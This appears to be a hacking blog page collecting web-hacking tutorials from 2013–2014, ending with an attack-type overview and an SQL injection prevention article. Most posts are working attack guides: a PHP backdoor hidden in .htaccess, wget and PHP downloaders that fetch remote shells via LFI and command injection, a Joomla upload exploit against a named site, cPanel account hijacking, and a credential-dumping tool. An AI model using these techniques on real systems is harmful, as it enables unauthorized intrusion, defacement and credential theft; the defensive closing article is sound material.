Showing posts with label Web Hacking. Show all posts
Showing posts with label Web Hacking. Show all posts

Sunday, February 2, 2014

Hide Your Shell From Web Admin's

Hide Your Shell From Web Admin's

Assalam~O~Alaikum Hi & Hellow Everyone Today I M Gonna Teach You when we hack website, we upload shell in website and deface it
but admin when restore website, he also delete our shell and so we dont have any access on site anymore..
well in this tutorial we will create a backdoor in .htaccess file on website
.htaccess is a configuration file for use on web servers running the Apache Web Server software. When a .htaccess file is placed in a directory which is in turn 'loaded via the Apache Web Server', then the .htaccess file is detected and executed by the Apache Web Server software. These .htaccess files can be used to alter the configuration of the Apache Web Server software to enable/disable additional functionality and features that the Apache Web Server software has to offer. These facilities include basic redirect functionality, for instance if a 404 file not found error occurs, or for more advanced functions such as content password protection or image hot link prevention. 

okay for the tutoraial , open public_html directory , you will see .htaccess file there
open it and add this code
+++++++++++++++++++++++++++++++++++++++++
Code:
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>
+++++++++++++++++++++++++++++++++++++++++


next save it.
and now we can access it with
Code:
yoursite.com/.htaccess?cmd=

we can run commands in .htaccess?cmd=

okay.. now lets upload an other shell using this shell we will use
Code:
yoursite.com/.htaccess?cmd=wget -O madleets.php http://yourothersitewithshell/yourshell.txt


okay now you can access your shell with

Code:
yoursite.com/madleets.php


it will create madleets.php in website with shell

If You Like My Post Please Share & Subscribe For More Updates
Hacking Tutorials :)

Keep Visiting 




Thursday, January 30, 2014

Protect your websites from Simple Upload 53 Vulnerability

Protect your websites from Simple Upload 53 Vulnerability


Salam Hi & Hello Everyone, webmasters and security reseachers,in this trick I am going to discuss a website application vulnerability named “Simple Upload 53″ which allows an attacker to upload Backdoor shell code in your website. I also discuss how enterprises can fix the original problems and combat attacks that try to exploit them.
If you are familiar about this website vulnerability,take a look on this post on Most Common Website Vulnerabilities and protect your website from such attacks.
Its Easy Method For Hackers To Upload Shell And Hack The Websites.

If you want to test your own website you can skip step1 and go ahead with step2.If you dont have any vulnerable website find one with the help of google dork.Contact owner and perform this test with his permission.Dont try this without permission you may get jailed.

Step 1:Finding vulnerable websites

As you already know google dork is special query to google search engine to search specific sites with specific content.We will take the help if this google dork to search for vulnerable websites.

” inurl:simple-upload-53.php “

Open Google,search with the above string without using quotes.If everything is fine,you may get the vulnerable website in first search result only.You are good to go now.
If you want to find the vulnerability in your web application,use this google
 dork: " inurl:simple-upload-53.php site:Your-Site.com"
Be sure to replace your-site with your own site.
After you search in google; if you find any page ends with
“simple-upload-53.php” , follow the link.
Example:

http://www.target_site.com/simple-upload-53.php 

Refer the image below


Step 2:Uploading your shell

Now you can see the upload option in the site. Here is the biggest loophole, it allows anyone to upload files.
So,An attacker can upload Backdoor shell as “.php.jpg” or”.php.gif” etc.
If you are newbie to shell uploading,A backdoor shell is a malicious piece of code (e.g. PHP, Python, Ruby) that can be uploaded to a site to gain access to files stored on that site.
Once it is uploaded, the hacker can use it to edit, delete, or download any files on the site, or upload their own.


The uploaded shell will be in this place:

http://www.target_site.com/files/Your_file_With_Extension

Step 3:Defacing the website

After uploading the shell , an attacker can deface your site. Defacing means a hacker keeping a headline in your website in a specific page you have been hacked.
So better check whether your site also has this vulnerability. Scan Your Websites With Vulnerability Scanners Like Acunetix And Other. 

If You Like My Articles Please Subscribe And Like My Page

Keep Visiting




Thursday, January 16, 2014

HOW TO CRACK CPANEL VERY EASY METHOD

HOW TO CRACK CPANEL VERY EASY METHOD

Assalam~O~Alaikum Hi & Hellow Everyone Today i will show you a  method , how to hack a
cpanel in the server very easily..

ReQuirement: shelled server+access to path before public_html..

You have a shell , alright go to the
path before /public_html
"xxxx/public_html/" you gonna find a file there called ".contact" or "contactemail"
edit it and replace with your email and save it .

Now You Have to reset the password of 
cPanel. To do this:-

1. Go to Host.

2. Click the Control Panel Login
button.

3. Click the "Forgotten Password"
link.

4. Enter your Domain Name or
Username .

5. Click "Lookup Account".

Reseting your password:

1. Open ur email (which u replace
there).
check inbox.u ll find 1 msg
sent from support@targethost.com

2. Click the reset password link

3. Enter your new password in the
New Password text box.

4. Enter your new password in the
New Password (again) text box.

5. Click the Change password button.
This will take you to a completion
page.

6. Click the RELOGIN option. This will
take you to a sign in page


For More Like Our Fan Page :) 

Keep Visiting And Learn Hacking

HOW TO UPLOAD SHELL VIA LFI VUL By Emisoftwarezone


HOW TO UPLOAD SHELL VIA LFI VUL

Today I Am Going To Teach You Two Ways Of Uploading Shell Via LFI Vul..
ReQuirement:- website vul to lfi.

MethoD 1:-

NOTE: You will need FireFox and its
addon Tamper Data to do this
method!

LFI or Local File Inclusion allows you
to include a local file(which means,
that the file is stored on the server)
and run it in a webscript.
In this method we are going to
upload a shell by accessing the proc/self/environ.
Now we have our page:-

http://www.target.com/index.php?
include=register.php

And now we are going to do this:-
http://www.target.com/index.php?
include=../

If it gives you an error message , this
is good. Best thing that can happen is, it says "No such file or directory".
But anyways, now add this to your url:-
http://www.target.com/index.php?
include=../etc/passwd

And as long as there is no text other
than an error message on the page,
keep adding "../" to the URL, so it would be like:

http://www.target.com/index.php?
include=.../passwd

http://www.target.com/index.php?
include=.../passwd

http://www.target.com/index.php?
include=.../passwd

And so on. Now let's say we got to this URL:-

http://www.target.com/index.php?
include=.../passwd

And we see some huge shitty text we
can not handle with. Now change the
etc/passwd in the URL to proc/self/environ so it would look like this:

http://www.target.com/index.php?
include=...environ

If you see some text, you did good, if
you see an error message you did
bad. Now this is the point where we
use Tamper Data. Start you Tamper
and reload the page, and for user
agent you type in the following PHP script:-

PHP Code:-

<?php $file = fopen
("shell.php" ,"w
+"); $stream = fopen ( "http://
www.website.com/
yourshell.txt" , "r" ); while(!
feof($stream )) {
$shell .= fgets
($stream ); } fwrite
($file , $shell ); fclose
($file );?>

This will execute the PHP script on
the site and create a shell.php on the
server. Why? Because the user agent
is being displayed on the webpage,
and if you put in a webscript for that, it will execute it.
Now simply access your shell by going to

http://www.taget.com/shell.php

And rape the server.

Now LFI method 2:-

NOTE: This only works on apache servers!
Alright you get back to the point
where we tried to access the etc/passwd. You will do the same method, but not with etc/passwd,
you will try to get access to apache/
logs/error.log

If you have a brain, you should know
how to do that, since it's EXACTLY
the same method as on etc/passwd
(explained in LFI method 1).
Now when you have found the file,
open up cmd and type in
Code:
telnet http://www.tagrget.com

80

When you are inside the telnet, you
copy the following code (you use your
own shell url:

PHP Code:

<?php $file = fopen
("shell.php" ,"w
+"); $stream = fopen ( "http://
www.website.com/
yourshell.txt" , "r" ); while(!
feof($stream )) {
$shell .= fgets
($stream ); } fwrite
($file , $shell ); fclose
($file );?>

Paste it into the telnet window, and
press enter once or maybe twice(until
you get an error message).
Now refresh the page in the browser
(error.log) once and there you go.
The PHP script will be executed and
your shell will get uploaded to the
server.
Access it by typing in the
following into your browser:-

Enjoy Hacking For More Updates Like Our Fan Page

Monday, January 13, 2014

Tool to get all cpanels/root Passwords in server


Tool to get all cpanels/root Passwords in server

Assalam~O~Alaikum Hi & Hellow Everyone After you get Root on server sometimes you need some cpanels or others root passwords so today here's a tool coded by Rab3oun

the code of the tools :

PHP Code:
#!/usr/local/cpanel/3rdparty/bin/php 



How to Use it 

first upload it or use wget like this 

PHP Code:
wget -O pass.php http://pastebin.com/download.php?i=2QLznV24 

then chmod it with 755

Code:
chmod 755 pass.php

then run it like that :

PHP Code:
./pass.php 

or :

PHP Code:

php pass.php 


Happy day Big Grin-->
Islam Forever 

Enjoy Hacking Tutorial By Mr.Me




New User - Domain T00l

New User - Domain T00l


Assalam~O~Alaikum Hi & Hellow Everyone i coded a new tool in php for getting users and domains in server.
this shell can extract user and domain list in servers which have /etc/named.conf file unreadable.
actually u can bypass this issue using this shell.





Saturday, December 28, 2013

wordpress 3.7.1 Full With Video Tutorial


WordPress is web software you can use to create a beautiful website or blog. We like to say that WordPress is both free and priceless at the same time.


The core software is built by hundreds of community volunteers, and when you’re ready for more there are thousands of plugins and themes available to transform your site into almost anything you can imagine. Over 60 million people have chosen WordPress to power the place on the web they call “home” — we’d love you to join the family.

Wordpress free download full with installation video tutorial how to install wordpress how to install wordpress full video tutorial by emisoftwarezone.blogspot.com

Why You Are Waiting? Just Click On Download Button



Sunday, December 22, 2013

Joomla Component (com_Fabrik) Remote Deface page Upload Vulnerability


{Screen Shot}

Joomla Component (com_Fabrik) Remote Deface page Upload Vulnerability


Google Dork : inurl:index.php?option=com_fabrik
or
index.php?option=com_fabrik

Exploit:
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Sample:
http://www.usatovip.it/= add exploit

now it looks like

http://www.usatovip.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Browse and upload your deface page
When error appears just ignore it

You will access your deface page here ( http://victimsite.com/media/defacepage.html

just like this:

http://www.usatovip.it/media/Mr.M3.html

Thanks For Visit :)





Tuesday, December 17, 2013

HACK WEBSITES USING COMMAND INJECTION

Hey friends, previously i have explained how to use SQL injection and XPath Injection to hack websites. Today i will teach you another type of injection technique that if executed properly can give you complete ownership of victim's website, called Command Injection. When user input is used as a part of system command, an hacker may inject system commands into the user input..Ahh..confusing...:P Lets understand in clear and simple words..

What is Command Injection?
Command injection is an attack method in which we alters the dynamically generated content on a Web page by entering shell commands into an input mechanism, such as a form field that lacks effective validation constraints. We can exploit that vulnerability to gain unauthorized access to data or network resources. When users visit an affected Web page, their browsers interpret the code, which may cause malicious commands to execute in the users' computers and across their networks. The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable website. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).
HACK WEBSITES USING COMMAND INJECTION

This can happen in any programming language but its very common in PERL, PHP and shell based CGI. It is less common in Java, Python and C++ ..:P i haven't tried it yet there :D tried once or twice but not able to do so, that why uncommon..:P.

Lets understand things using examples:
Consider the below PHP code:
<?PHP
$email_subject ="Welcome to HackingLoops";

if  ( isset ($_GET {'email'} ) ) {
system( "mail " + $_GET {'email'}) + "-s ' " + $email_subject +
" ' < /tmp/email_body", $return_val);
}
?>
The above code is an example where user sends his or her email address in the email parameter, and that user input is directly placed in the system command. Ahh... loophole...
Now similar to SQL injection or XPath injection, our goal is to inject the shell command into the email parameter but make sure code before and after the email parameter remain syntactically correct otherwise the injection will not execute.
Consider the system( ) call as small jigsaw puzzle game where we arrange different puzzle part to make a single image. All the parts except one part are on its place, now we have to find the middle part to finish the puzzle.. :D simple task in game but little tricky in command injection. So our objective is something shown below:
mail  [missing puzzle part]  -s  'Welcome to HackingLoops'  </tmp/email_body
Note: For the missing puzzle part, we need to ensure that the mail command runs properly and exits properly basically i want to focus on syntax, it should be syntactically correct.

For example mail  --help will runs and exits properly. Now we can add other additional shell commands by separating the commands by a semi colon (;).
We can also comment the missing puzzle part using the shell commenting symbol (#) in front. So we can manipulate the missing puzzle part as below:
--help; wget http://somehackersite.com/attack_program;  ./attack_program #
Now the adding our missing puzzle part to our original existing shell command, the below shell command is created:
mail --help; wget http://somehackersite.com/attack_program; ./attack_program # s 'Welcome to HackingLoops' < /tmp/email_body

This resulting command is equivalent to below command:
mail --help; wget http://somehackersite.com/attack_program; ./attack_program
Now what the above command will do..:P You all guys are just reading things like novice hackers.. Any Guess...:P ok..let me explain..
The above shell command will runs the mail --help and then downloads the attack program from somehackersite.com  and executes it on victim, allowing the hacker to perform the arbitrary commands on the vulnerable website. In most cases provide the complete access to the root directory..:P Now do whatever you want to do..
That's all my friends. I hope that you all have enjoyed the tutorial, if you have any doubts or queries ask me in form of comments.
Copy Cats its last warning from HackingLoops, stop copying our articles, if you copy articles always mention the source. Otherwise get ready for DMCA penalty and negative rating on Google.



6 WAYS TO HACK OR DEFACE WEBSITES ONLINE

Hello friends , today i will explain all the methods that are being used to hack a website or websites database. This is the first part of the hacking websites tutorial where i will explain in brief all methods for hacking or defacing websites. Today I will give you the overview and in later tutorials we will discuss them one by one with practical examples. So guys get ready for first part of Hacking websites class.... Don't worry i will also tell you how to protect your websites from these attacks and other methods like hardening of SQL and hardening of web servers and key knowledge about CHMOD rights that what thing should be give what rights...

Note : This post is only for Educational Purpose only.

6 WAYS TO HACK OR DEFACE WEBSITES ONLINE

What are basic things you should know before website hacking?
First of all everything is optional as i will start from very scratch. But you need atleast basic knowledge of following things..
1. Basics of HTML, SQL, PHP.
2. Basic knowledge of Javascript.
3. Basic knowledge of servers that how servers work.
4. And most important expertize in removing traces otherwise u have to suffer consequences.
Now First two things you can learn from a very famous website for basics of Website design with basics of HTML,SQL,PHP and javascript.

And for the fourth point that you should be expert in removing traces. I will explain this in my future articles. So keep reading.. or simply subscribe my posts..

As we know traces are very important. Please don't ignore them otherwise you can be in big trouble for simply doing nothing. so please take care of this step.

METHODS OF HACKING WEBSITE:
1. SQL INJECTION
2. CROSS SITE SCRIPTING
3. REMOTE FILE INCLUSION
4. LOCAL FILE INCLUSION
5. DDOS ATTACK
6. EXPLOITING VULNERABILITY.

1. SQL INJECTION
First of all what is SQL injection? SQL injection is a type of security exploit or loophole in which a attacker "injects" SQL code through a web form or manipulate the URL's based on SQL parameters. It exploits web applications that use client supplied SQL queries.
The primary form of SQL injection consists of direct insertion of code into user-input variables that are concatenated with SQL commands and executed. A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL command, the malicious code is executed.

2. CROSS SITE SCRIPTING
Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL.Some website features commonly vulnerable to XSS attacks are:
• Search Engines
• Login Forms
• Comment Fields

Cross-site scripting holes are web application vulnerabilities that allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

I will explain this in detail in later hacking classes. So keep reading..


3. REMOTE FILE INCLUSION
Remote file inclusion is the most often found vulnerability on the website.
Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server s
ide commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local
exploits to escalate his privileges and take over the whole system.
RFI can lead to following
serious things on website :

  • Code execution on the web server
  • Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
  • Denial of Service (DoS)
  • Data Theft/Manipulation


4. LOCAL FILE INCLUSION
 
Local File Inclusion (LFI) is when you have the ability to browse through the server by means of direct
ory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s.
Let’s say a hacker found a vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal he would try to browse to the /et
c/passwd file:
www.target-site.com/index.php?p= ../../../../../../../etc/passwd


I will explain it in detail with practical websites example in latter sequential classes on Website Hacking.

5. DDOS ATTACK
Simply called distributed denial of service attack. A denial-of-service attack (DoS attack) ordistributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. In DDOS attack we consumes the bandwidth and resources of any website and make it unavailable to its legitimate users.
6.EXPLOTING VULNERABILITY
Its not a new category it comprises of above five categories but i mentioned it separately because there are several exploits which cannot be covered in the above five categories. So i will explain them individually with examples. The basic idea behind this is that find the vulnerability in the website and exploit it to get the admin or moderator privileges so that you can manipulate the things easily.

I hope you all now have a overview of that what is Website Hacking. In consecutive future classes i will explain all of these techniques in details. So guys keep reading..

IF YOU HAVE ANY QUERIES ASK IN COMMENTS...


PREVENT SQL INJECTION ATTACKS BY HACKINGLOOPS - PART 1

PREVENT SQL INJECTION ATTACKS BY HACKINGLOOPS - PART 1

SQL Injection is the most common and most popular website attacking technique used by Hackers to Hack websites and own website's databases. SQL Injection's attacks are popular because of its 4 rules i.e. easy to exploit, hard to secure, coders negligence and most important lack of knowledge on secured coding. 100's of websites are there on internet which teaches you how to perform SQL injection to hack websites but only quite a few who teaches you how to prevent SQL injection. The only reason behind that People know how to exploit because its damn easy but they don't know how to secure it. According to survey held on Injection Attacks in March 2013 by IT Security Companies, survey results were really shocking.  Note : This survey was only for web developers and approximately 60 thousand web developers participated in it.

60% developers never listened the word "SQL Injection". 
Out of 40%, 14% Web developers don't know "What is SQL Injection?".
Out of 26% Web Developers who knows SQL Injection, 17% does not know how to prevent SQL injection, 3% said they have security teams to look into vulnerabilities.
Only 6% Web developers know What is SQL Injection and How to prevent their websites from SQL Injection.

That was survey data based on very basic objective questionnaire, Imagine what will the actual scenario. Frankly speaking, at max 3-4% web developers know how to protect or prevent SQL Injection i.e. secure coding.
Prevent SQL Injection

But friends, there is no need to worry about SQL Injections. After reading this articles you can proudly say that you are among those 3-4% coders who know secure coding standards. But before everything you must know what is SQL injection and what's its scope i.e. how much severe damage it can do to your website and database.

SQL Injection : Basic Introduction

First of all let's understand the words separately i.e. break the word SQL Injection into SQL + Injection. What is SQL? SQL stands for Structured Query Language, its used to query and manipulate the relational database. By querying, i meant selecting data from database based on some conditions. By manipulating, i meant updating, deleting, inserting etc on database. 
Injection as the word implies injecting something extra into something. In case of SQL Injection, it means injecting an extra piece of code into SQL query to manipulate its behavior from existing. So this gives us basic idea that SQL injection will going to put something extra in our existing SQL query and what we have to do is to handle this extra code from altering the actual SQL. But you guys were still be thinking that how an injection impact our query. Here are two God Principle's why SQL injection occurs:

"SQL Injection can attack those SQL queries which are dynamically created by using some inputs from either program or user or some functionality."

"SQL Injection can also occur if escape sequences and types are not handled properly in the SQL query."

Let us learn two God Principles in detail: 
Dynamic SQL Queries
I am sure most of you have heard this term but still for newbies i will explain them what dynamic SQL is.
Dynamic SQL is an SQL code which generated within an web application or from the system tables and then executed or run against the database to manipulate the data. The SQL code is not stored in the source program, but rather it is generated based on user input. This can include determining not only what objects are involved, but also the filtration criteria and qualifiers that define the set of data being acted on.
Using Dynamic SQL, we can create powerful web applications that allow us to create database objects and manipulate them based on user input. 
Wow what an feature it is? Is that really going in you mind. If yes then calm down. Every dynamic query increases the SQL injection attack surface and make your website prone to SQL Injection attack. But How? 

Consider an example: Consider the below dynamic SQL

String query = "SELECT * FROM items WHERE owner = "'" + userName + "' AND itemname = '" + ItemName.Text + "'";
Statement stmt = connection.createStatement();

ResultSet rs = stmt.executeQuery(query);

When the above query executes, this will result into below SQL query: 


SELECT * FROM items WHERE owner = AND itemName = ;
means above query will extract all those results from "Items" table where owner name and itemname are empty or spaces. The above SQL statement is correct but is it secured?? Think about it.

Off course its not secured. If you look above statement closely, the above statement only behaves correctly if itemName does not contain a single-quote character. But why?? Everything looks good. Its because above dynamic query is made by concatenating a constant base query string and a user input string.

Since itemName variable is not correctly validated that means if Hacker enters something that results in always true, the query will result into yielding all the itemNames in the table. Don't understand always true concept? Consider an example say itemName is an character field then what about 'a' ='a' . Since a will always equal to a, this condition will always return true. Now what if we concatenate this to itemName for some user say "Lokesh". So, the query becomes something like below:
SELECT * FROM items
 WHERE owner = 'Lokesh'
 AND itemName = 'a'='a';

Then what about if Lokesh is admin of the website and he's the person who added all these items. Then query will become :

 SELECT * FROM items;
which is absolutely a generalized query that will result into sharing of everything inside Items table.

Isn't it dangerous? Off course it is! But How to prevent this? There are several ways of preventing it below is one example using prepared statements. How will the dynamic query look like :

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM items WHERE owner = ? AND itemName=?");
stmt.setString(1, userName);
stmt.setString(2, itemName);
ResultSet rs = stmt.executeQuery();

This code is not vulnerable to SQL Injection because it correctly uses parameterized queries. This just an example, we will discuss all preventive measures in detail in coming articles.

Incorrectly Filtered Escape Sequences or Types
First of all we must understand what are escape sequences?  Escape sequences are those characters which alters the normal behavior of the characters. 
Escape sequences use an escape character to change the meaning of the characters which follow it, meaning that the characters can be interpreted as a command to be executed rather than as data.

Escape characters are different for different types of databases like oracle, mySQL, SQL server etc. We will discuss here for mySQL as its the most popular one and its free.

MySQL supports two types of Escaping modes:
1. ANSI_QUOTES SQL Mode
2. MySQL mode

ANSI_QUOTES Mode : It encodes all single quote in the SQL with double quotes. But its rarely used, we will discuss it later why its rarely used because this type of escape sequence filtering is not considered completely fail safe.

MySQL Mode : In MySQL, the MySQL mode is turned on by default for handling escape sequences. It uses below encoding pattern, usually its by default but sometimes you have to manually encode these:

 NUL (0x00) --> \0  
 BS   (0x08) --> \b
 TAB (0x09) --> \t
 LF    (0x0a) --> \n
 CR   (0x0d) --> \r
 SUB (0x1a) --> \Z
 "      (0x22) --> \"
 %    (0x25) --> \%
 '      (0x27) --> \'
 \      (0x5c) --> \\
 _     (0x5f) --> \_ 
 all other non-alphanumeric characters with ASCII values less than 256  --> \c
 where 'c' is the original non-alphanumeric character.
Escaping wildcard characters like LIKE keyword which collaborates '_' and '%' characters.

That was about escape sequences but let's see practically with an example how escape sequence allows an SQL injection attack.

This type of SQL injection vulnerability occurs when user input is not correctly validated for escape sequences mentioned above. 
Consider an below example :
String.query = "SELECT * FROM users WHERE name = '" + userName + "';"

Statement stmt = connection.createStatement();
The above mentioned SQL query is designed to pull up the records of the specified username from its table of users. Its a correct query but is it secured?  No its not. The field userName is vulnerable to SQL injection because userName field's supplied user input is not properly handled for single quote escape character.

The above SQL can be manipulated to result in always true condition by just passing always true condition in userName field.

For example if we replace the '(single quote) by always true condition i.e. ' or '1'='1 then this will yield all the users in the database. The query will become something like :

SELECT * FROM users WHERE name = ' ' OR '1'='1';

which is actually equivalent to 

SELECT * FROM users

Similar to Dynamic SQL queries. This can be prevented too using above concept or using standard functions available in PHP like mysql_query() function etc. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

Similarly incorrectly handled type causes the SQL injection. Incorrect Type handling SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example :

 "SELECT * FROM userinfo WHERE id = " + a_variable + ";"

If you take a close look at the statement, you will find that author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. And it will result into severe damage to database and even the whole web application.

So its always recommended that we must encode all escape sequences before using them in SQL code else it will result into SQL injection.

Note: These two God principles are not the ways for SQL injection, there are other things too but these are responsible for atleast 95% SQL injection attacks.

This was the First tutorial of the SQL Injection Prevention Tutorial, there are atleast 5 more to come in series so keep visiting for latest ones.

Have Fun! Keep Reading! If you have any queries ask in form of comments.